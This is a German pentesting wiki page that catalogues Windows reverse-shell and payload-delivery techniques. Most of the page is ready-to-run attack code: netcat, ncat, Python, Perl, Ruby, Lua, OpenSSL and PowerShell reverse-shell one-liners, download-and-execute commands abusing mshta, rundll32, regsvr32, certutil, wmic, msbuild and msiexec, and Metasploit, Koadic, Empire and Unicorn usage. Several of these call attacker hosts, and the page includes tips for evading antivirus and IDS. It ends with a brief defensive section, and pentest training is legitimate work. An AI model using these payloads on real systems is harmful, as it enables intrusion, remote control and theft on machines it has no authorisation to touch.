Thomas.will: Die Seite wurde neu angelegt: „= Reverse Shells – Windows = Ein '''Reverse Shell''' ist eine Verbindung, bei der das Zielsystem (Opfer) aktiv eine Verbindung zum Angreifer aufbaut – im…“

2026-05-30T11:20:41Z

Die Seite wurde neu angelegt: „= Reverse Shells – Windows = Ein '''Reverse Shell''' ist eine Verbindung, bei der das Zielsystem (Opfer) aktiv eine Verbindung zum Angreifer aufbaut – im…“

Neue Seite

= Reverse Shells – Windows =

Ein '''Reverse Shell''' ist eine Verbindung, bei der das Zielsystem (Opfer) aktiv eine Verbindung zum Angreifer aufbaut – im Gegensatz zur Bind Shell, bei der der Angreifer sich zum Opfer verbindet. Dieser Mechanismus wird eingesetzt, um Firewalls zu umgehen, die eingehende Verbindungen blockieren, ausgehende Verbindungen jedoch erlauben.

Das grundlegende Prinzip:
* Angreifer öffnet einen Listener auf seinem System (z. B. <code>nc -lvp 4242</code>)
* Opfer baut die Verbindung aktiv auf und leitet eine Shell durch den Kanal (<code>nc 192.168.178.55 -e /bin/sh</code>)

Dieser Artikel dokumentiert gängige Techniken aus offensiven Sicherheitstests (Pentesting, CTF). Das Wissen dient dem Verständnis von Angriffsvektoren und ist Grundlage für die defensive Erkennung und Härtung von Systemen.

----

== Netcat (NC) ==

Netcat ist das klassischste Werkzeug für einfache TCP-Verbindungen. Die Windows-Variante <code>nc.exe</code> muss in der Regel auf das Zielsystem übertragen werden, da sie nicht standardmäßig vorhanden ist.

; Opfer (Windows):
<syntaxhighlight lang="bash">
nc.exe -e cmd.exe <Attacker_IP> <PORT>
</syntaxhighlight>

Die Option <code>-e</code> leitet die Ein-/Ausgabe von <code>cmd.exe</code> durch die TCP-Verbindung. Viele moderne nc-Varianten haben <code>-e</code> aus Sicherheitsgründen entfernt – dann sind alternative Methoden (z. B. Pipes) nötig.

----

== Ncat ==

Ncat ist die moderne Netcat-Implementierung aus dem Nmap-Projekt. Sie unterstützt SSL-Verschlüsselung, was die Verbindung vor Netzwerk-IDS/IPS verbergen kann – ein häufig genutzter Umgehungsansatz.

; Opfer (Windows):
<syntaxhighlight lang="bash">
# Klartext
ncat.exe <Attacker_IP> <PORT> -e "cmd.exe /c (cmd.exe 2>&1)"

# Mit SSL-Verschlüsselung (z. B. Port 443 – wirkt wie HTTPS-Traffic)
ncat.exe <Attacker_IP> <PORT z.B. 443> --ssl -e "cmd.exe /c (cmd.exe 2>&1)"
</syntaxhighlight>

; Angreifer (Kali):
<syntaxhighlight lang="bash">
# Klartext
ncat -l <PORT>

# Mit SSL
ncat -l <PORT z.B. 443> --ssl
</syntaxhighlight>

Die Umleitung <code>2>&1</code> sorgt dafür, dass auch Fehlermeldungen (stderr) durch die Shell übertragen werden – ohne diese wären Fehlermeldungen auf dem Opfersystem unsichtbar.

----

== SBD ==

SBD (Secure Backdoor) ist eine portable Netcat-Alternative mit starker Verschlüsselung. Sie läuft auf Unix-Systemen und Win32. Die <code>sbd.exe</code>-Version aus Kali Linux kann als Netcat-Ersatz auf Windows-Zielen eingesetzt werden.

; Opfer (lauscht auf Port 4444 und wartet auf Verbindung):
<syntaxhighlight lang="bash">
sbd -l -p 4444 -e bash -v -n
</syntaxhighlight>

; Angreifer (verbindet sich):
<syntaxhighlight lang="bash">
sbd 10.10.10.10 4444
</syntaxhighlight>

Besonderheiten von SBD: eingebaute Verschlüsselung, frei wählbare Quellports, automatische Wiederverbindung.

----

== Ruby ==

Falls Ruby auf dem Zielsystem installiert ist (z. B. auf Entwicklungsmaschinen), lässt sich damit eine Shell ohne zusätzliche Binaries aufbauen.

; Opfer (Windows):
<syntaxhighlight lang="bash">
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
</syntaxhighlight>

Der One-Liner öffnet einen TCP-Socket, liest Befehle zeilenweise ein, führt sie via <code>IO.popen</code> aus und sendet die Ausgabe zurück.

----

== Python ==

Python ist auf vielen Systemen vorhanden. Die Windows-Variante mit <code>C:\Python27\python.exe</code> oder modernem Python3. Der gezeigte One-Liner ist absichtlich stark obfuskiert (Lambda-Chaining) – ein typischer Evasion-Trick gegen einfache signaturbasierte Erkennung.

; Opfer (Windows, obfuskierter One-Liner für Python 2):
<syntaxhighlight lang="bash">
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: ..."
</syntaxhighlight>

Im Kern öffnet der Code einen Socket zu IP <code>10.11.0.37:4444</code>, startet zwei Threads (stdin→Prozess und Prozess→Socket) und bindet <code>\\windows\\system32\\cmd.exe</code> daran. Die Obfuskierung dient der Umgehung von AV und Logging-Lösungen, die nach klaren Mustern wie <code>subprocess.Popen</code> suchen.

Eine lesbare Kurzfassung (Python 3) zum Vergleich:
<syntaxhighlight lang="python">
import socket, subprocess, os
s = socket.socket()
s.connect(("10.11.0.37", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["cmd.exe"])
</syntaxhighlight>

----

== Perl ==

Perl ist auf älteren Windows-Systemen und in vielen Linux/Unix-Umgebungen vorhanden. Zwei gebräuchliche Varianten:

; Variante 1 (Socket-Modul):
<syntaxhighlight lang="bash">
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
</syntaxhighlight>

; Variante 2 (IO::Socket::INET):
<syntaxhighlight lang="bash">
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
</syntaxhighlight>

Variante 2 ist kompakter und nutzt das MIO-Modul. Beide leiten stdin/stdout/stderr auf den Socket um und rufen dann eine Shell auf.

----

== Lua ==

Lua findet sich z. B. in eingebetteten Systemen, Spieleservern und als Scripting-Engine in diversen Anwendungen. Wenn lua5.1 vorhanden ist:

<syntaxhighlight lang="bash">
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
</syntaxhighlight>

Der Code verbindet sich zum Angreifer, empfängt Befehle in einer Schleife, führt sie via <code>io.popen</code> aus und sendet die Ausgabe zurück. <code>status == "closed"</code> beendet die Schleife sauber bei Verbindungsabbruch.

----

== OpenSSL ==

OpenSSL ermöglicht eine vollständig verschlüsselte Reverse Shell ohne zusätzliche Tools – TLS-Verschlüsselung macht den Traffic für IDS/IPS-Systeme ohne SSL-Inspection weitgehend unsichtbar. Zwei Ports werden genutzt: einer für Befehle (stdin), einer für die Ausgabe (stdout).

; Angreifer (Kali) – Zertifikat generieren und zwei Listener starten:
<syntaxhighlight lang="bash">
# Selbstsigniertes Zertifikat erstellen
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

# Listener für Befehlseingabe
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port>

# Listener für die Ausgabe
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2>
</syntaxhighlight>

; Opfer (Linux):
<syntaxhighlight lang="bash">
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
</syntaxhighlight>

; Opfer (Windows):
<syntaxhighlight lang="bash">
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
</syntaxhighlight>

Der erste <code>s_client</code> empfängt Befehle vom Angreifer und leitet sie in die Shell; der zweite sendet die Ausgabe zurück. Das Zwischenschalten der Shell via Pipe ist der Kern dieser Technik.

----

== PowerShell ==

PowerShell ist auf allen modernen Windows-Systemen vorhanden und wird von Angreifern bevorzugt, weil es direkt im Speicher ausführen kann ohne Dateien auf die Disk zu schreiben (''fileless execution'').

=== Download und Ausführung aus dem Netz ===

<syntaxhighlight lang="bash">
# Variante 1: Proxy-Credentials werden mitgegeben
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"

# Variante 2: Einfacher Download und Ausführung im Speicher
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"

# Variante 3: Neuer Prozess ohne Fenster
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
</syntaxhighlight>

Bei diesen Varianten führt <code>powershell.exe</code> selbst den Netzwerkabruf durch. Der Payload wird nicht auf die Disk geschrieben (kein permanenter Artefakt).

=== Ausführung über WebDAV ===

<syntaxhighlight lang="bash">
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
</syntaxhighlight>

Hier lädt <code>svchost.exe</code> (WebDAV-Client) die Datei; <code>powershell.exe</code> selbst führt keine Netzwerkkommunikation durch. Der Payload landet im lokalen WebDAV-Cache.

=== TCP-Shell One-Liner ===

Vollständiger PowerShell-TCP-Reverse-Shell-One-Liner ohne externe Abhängigkeiten:

<syntaxhighlight lang="bash">
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
</syntaxhighlight>

Der One-Liner liest Bytes aus dem TCP-Stream, wandelt sie in einen String um, führt ihn via <code>Invoke-Expression</code> aus und sendet stdout+stderr plus einen Prompt zurück – ein vollständig interaktives Shell-Gefühl.

----

== Mshta ==

<code>mshta.exe</code> (Microsoft HTML Application Host) ist ein legitimes Windows-Binary, das HTA-Dateien ausführt. Da es signiert und Teil des Betriebssystems ist, umgeht es oft Application Whitelisting.

; Payload von HTTP laden:
<syntaxhighlight lang="bash">
mshta http://webserver/payload.hta
</syntaxhighlight>

; Payload via VBScript-Handler:
<syntaxhighlight lang="bash">
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
</syntaxhighlight>

; Payload von WebDAV:
<syntaxhighlight lang="bash">
mshta \\webdavserver\folder\payload.hta
</syntaxhighlight>

; Beispiel HTA-Datei, die eine PowerShell-Backdoor nachlädt (hta-psh):
<syntaxhighlight lang="xml">
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
</syntaxhighlight>

; Minimales HTA-Beispiel (öffnet calc.exe):
<syntaxhighlight lang="xml">
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">var c = "cmd.exe /c calc.exe"; new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
</syntaxhighlight>

Über Koadic (ein Windows-Post-Exploitation-Framework) lässt sich ein sogenannter ''Zombie'' sehr einfach per HTA-Stager ausliefern.

----

== Mshta-sct (Scriptlet) ==

SCT-Dateien (Windows Script Components) können von <code>mshta</code> und <code>rundll32</code> aus dem Netz geladen und ausgeführt werden. Die XML-Datei enthält JScript-Code, der über ActiveX eine Shell startet.

<syntaxhighlight lang="xml">
<?XML version="1.0"?><scriptlet><public></public><script
language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]>
</script></scriptlet>
</syntaxhighlight>

=== Mshta via Metasploit ===

<syntaxhighlight lang="bash">
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
# Auf dem Opfer:
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta
</syntaxhighlight>

----

== Rundll32 ==

<code>rundll32.exe</code> lädt und führt DLL-Exporte aus – auch aus dem Netz über WebDAV oder UNC-Pfade. Ebenfalls ein ''Living off the Land''-Binary (LOLBIN).

; DLL von WebDAV ausführen:
<syntaxhighlight lang="bash">
rundll32 \\webdavserver\folder\payload.dll,entrypoint
</syntaxhighlight>

; JavaScript-Handler über mshtml:
<syntaxhighlight lang="bash">
rundll32.exe javascript:"..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
</syntaxhighlight>

=== Rundll32 via Metasploit (SMB Delivery) ===

<syntaxhighlight lang="bash">
use windows/smb/smb_delivery
run
# Metasploit gibt den auszuführenden Befehl aus, z. B.:
rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
</syntaxhighlight>

=== Rundll32 via Koadic ===

<syntaxhighlight lang="bash">
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
# Koadic gibt den Opfer-Befehl aus, z. B.:
rundll32.exe javascript:"..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
</syntaxhighlight>

----

== Regsvr32 ==

<code>regsvr32.exe</code> registriert normalerweise COM-DLLs. Mit dem <code>/u /i</code>-Flag und einer URL kann es aber auch SCT-Dateien aus dem Netz laden – ein klassischer LOLBIN-Trick, der unter dem Begriff ''Squiblydoo'' bekannt ist.

=== Regsvr32 via Metasploit ===

<syntaxhighlight lang="bash">
use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
# Metasploit gibt den Opfer-Befehl aus, z. B.:
regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
</syntaxhighlight>

----

== Certutil ==

<code>certutil.exe</code> ist primär ein Zertifikatsverwaltungstool, kann aber Base64-kodierte Dateien herunterladen und dekodieren – wird deshalb häufig zum Staging von Payloads missbraucht.

; Base64-kodierte DLL herunterladen, dekodieren und ausführen:
<syntaxhighlight lang="bash">
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
</syntaxhighlight>

; Base64-kodierte EXE herunterladen, dekodieren und ausführen:
<syntaxhighlight lang="bash">
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
</syntaxhighlight>

----

== Cscript / Wscript ==

VBScript-Dateien können über PowerShell heruntergeladen und dann mit <code>cscript.exe</code> ausgeführt werden. Nützlich wenn PowerShell eingeschränkt ist.

<syntaxhighlight lang="bash">
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs','\"$env:temp\test.vbs\"');Start-Process %windir%\system32\cscript.exe '\"$env:temp\test.vbs\"'"
</syntaxhighlight>

=== Cscript via Metasploit (msfvenom) ===

<syntaxhighlight lang="bash">
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
</syntaxhighlight>

----

== PS-Bat (Batch + SMB) ==

Eine per <code>msfvenom</code> generierte BAT-Datei, die via Impacket-SMBServer bereitgestellt und direkt über UNC-Pfad ausgeführt wird. Der Payload landet im lokalen WebDAV-Cache; ausführender Prozess ist <code>svchost.exe</code>.

<syntaxhighlight lang="bash">
# Angreifer: Payload generieren und SMB-Server starten
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`

# Opfer: Batch-Datei direkt per UNC ausführen
\\10.8.0.3\kali\shell.bat
</syntaxhighlight>

----

== MSIExec ==

Windows Installer (<code>msiexec.exe</code>) kann MSI-Pakete aus dem Netz installieren. Ein via Metasploit erzeugtes MSI liefert einen Meterpreter-Payload.

; Angreifer:
<syntaxhighlight lang="bash">
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
</syntaxhighlight>

; Opfer:
<syntaxhighlight lang="bash">
msiexec /quiet /i \\10.2.0.5\kali\shell.msi
</syntaxhighlight>

<code>/quiet</code> unterdrückt jede Benutzerinteraktion; <code>/i</code> startet die Installation.

----

== WMIC ==

<code>wmic.exe</code> (Windows Management Instrumentation Command-line) kann XSL-Stylesheets aus dem Netz laden und ausführen – dabei wird JScript im Kontext von <code>wmic.exe</code> ausgeführt.

<syntaxhighlight lang="bash">
wmic os get /format:"https://webserver/payload.xsl"
</syntaxhighlight>

; Beispiel XSL-Datei mit eingebettetem JScript-Payload:
<syntaxhighlight lang="xml">
<?xml version='1.0'?><stylesheet xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder" version="1.0"><output method="text"/><ms:script implements-prefix="user"
language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -"); ]]> </ms:script></stylesheet>
</syntaxhighlight>

----

== MSBuild ==

<code>MSBuild.exe</code> ist der Microsoft Build Engine und kann inline C#-Code aus einer Projektdatei kompilieren und ausführen. Damit lassen sich Application-Whitelisting-Mechanismen und <code>powershell.exe</code>-Restriktionen umgehen.

<syntaxhighlight lang="bash">
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
</syntaxhighlight>

MSBuildShell-Beispielprojekt (erzeugt eine vollwertige PS-Shell):

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

----

== CSC (C#-Compiler) ==

<code>csc.exe</code> (C# Compiler) gehört zum .NET Framework und ist auf vielen Windows-Systemen vorhanden. Damit kann direkt auf dem Zielsystem C#-Code kompiliert werden – kein Compiler auf dem Angreifer-System nötig.

<syntaxhighlight lang="bash">
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
</syntaxhighlight>

Eine einfache C#-Reverse-Shell (<code>shell.cs</code>) erstellt einen <code>TcpClient</code>, startet <code>cmd.exe</code> und leitet stdin/stdout/stderr auf den Socket um.

----

== Regasm / Regsvc ==

<code>regasm.exe</code> (Assembly Registration Utility) kann DLLs von UNC-Pfaden laden und die darin enthaltenen COM-Registrierungsfunktionen ausführen – auch wenn die DLL gar keine gültige COM-Klasse enthält.

<syntaxhighlight lang="bash">
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
</syntaxhighlight>

----

== PowerShell Shells ==

=== PS-Nishang ===

Nishang ist eine Sammlung von PowerShell-Skripten und -Payloads für Pentesting und Post-Exploitation. Das Skript <code>Invoke-PowerShellTcp.ps1</code> aus dem Shells-Ordner wird kopiert und am Ende ergänzt:

<syntaxhighlight lang="bash">
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
</syntaxhighlight>

Das modifizierte Skript auf einem Webserver bereitstellen und auf dem Opfer ausführen:

<syntaxhighlight lang="bash">
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
</syntaxhighlight>

=== PS-Powercat ===

Powercat ist die PowerShell-Implementierung von Netcat. Sie unterstützt Bind/Reverse Shells über TCP, UDP und DNS, Port-Weiterleitung, Dateiübertragung und Payload-Generierung.

<syntaxhighlight lang="bash">
# Laden und ausführen
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
</syntaxhighlight>

Weitere Optionen:

powercat -l -p 443 -e cmd # Bind Shell (cmd)
powercat -c 10.1.1.1 -p 443 -e cmd # Reverse Shell (cmd)
powercat -c 10.1.1.1 -p 443 -ep # Reverse Shell (PowerShell)
powercat -c 10.1.1.1 -p 443 -ep -u # Reverse Shell via UDP
powercat -l -p 8000 -r tcp:10.1.1.16:443 # TCP-Relay
powercat -c 10.1.1.15 -p 443 -e cmd -g # Payload generieren
powercat -l -p 443 -i C:\inputfile -rep # Datei persistent bereitstellen

=== Empire ===

Empire ist ein vollständiges Post-Exploitation-Framework mit PowerShell- und Python-Agenten. Ein Launcher wird als PS1-Datei erzeugt und per <code>iex</code> im Speicher ausgeführt.

<syntaxhighlight lang="bash">
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
</syntaxhighlight>

Projektseite: https://github.com/EmpireProject/Empire

=== MSF-Unicorn ===

Unicorn (TrustedSec) erzeugt einen PowerShell-Payload, der direkt Metasploit-Shellcode in den Speicher injiziert (reflektive Injektion) – ohne eine Datei auf die Disk zu schreiben.

<syntaxhighlight lang="bash">
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
msfconsole -r unicorn.rc
# Auf dem Opfer:
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
</syntaxhighlight>

Projektseite: https://github.com/trustedsec/unicorn

----

== Defensive Hinweise ==

Die oben beschriebenen Techniken nutzen ausnahmslos legitime Windows-Systemkomponenten (''Living off the Land Binaries'', LOLBINs). Klassische AV-Signaturen greifen hier oft nicht. Empfohlene Gegenmaßnahmen:

* '''Netzwerk:''' Ausgehende Verbindungen von Systemen einschränken (Egress Filtering), SSL-Inspection aktivieren, ungewöhnliche Verbindungen zu bekannten C2-Ports (4444, 4242, 8080) monitoren.
* '''Endpunkt:''' PowerShell Constrained Language Mode, Script Block Logging und Transcription aktivieren; AMSI (Antimalware Scan Interface) nicht deaktivieren lassen; AppLocker/WDAC-Policies für mshta, rundll32, regsvr32, wmic, msbuild, csc.exe konfigurieren.
* '''SIEM/IDS:''' Prozess-Eltern-Kind-Beziehungen auswerten (z. B. <code>mshta.exe</code> → <code>cmd.exe</code>); Suricata-Regeln für bekannte Reverse-Shell-Signaturen; Windows Event IDs 4688 (Prozessstart mit Kommandozeile) und 7045 (neuer Dienst) überwachen.

[[Kategorie:Security]]
[[Kategorie:Pentesting]]
[[Kategorie:Windows]]

Reverse Shell Windows - Versionsgeschichte

Thomas.will: Die Seite wurde neu angelegt: „= Reverse Shells – Windows = Ein '''Reverse Shell''' ist eine Verbindung, bei der das Zielsystem (Opfer) aktiv eine Verbindung zum Angreifer aufbaut – im…“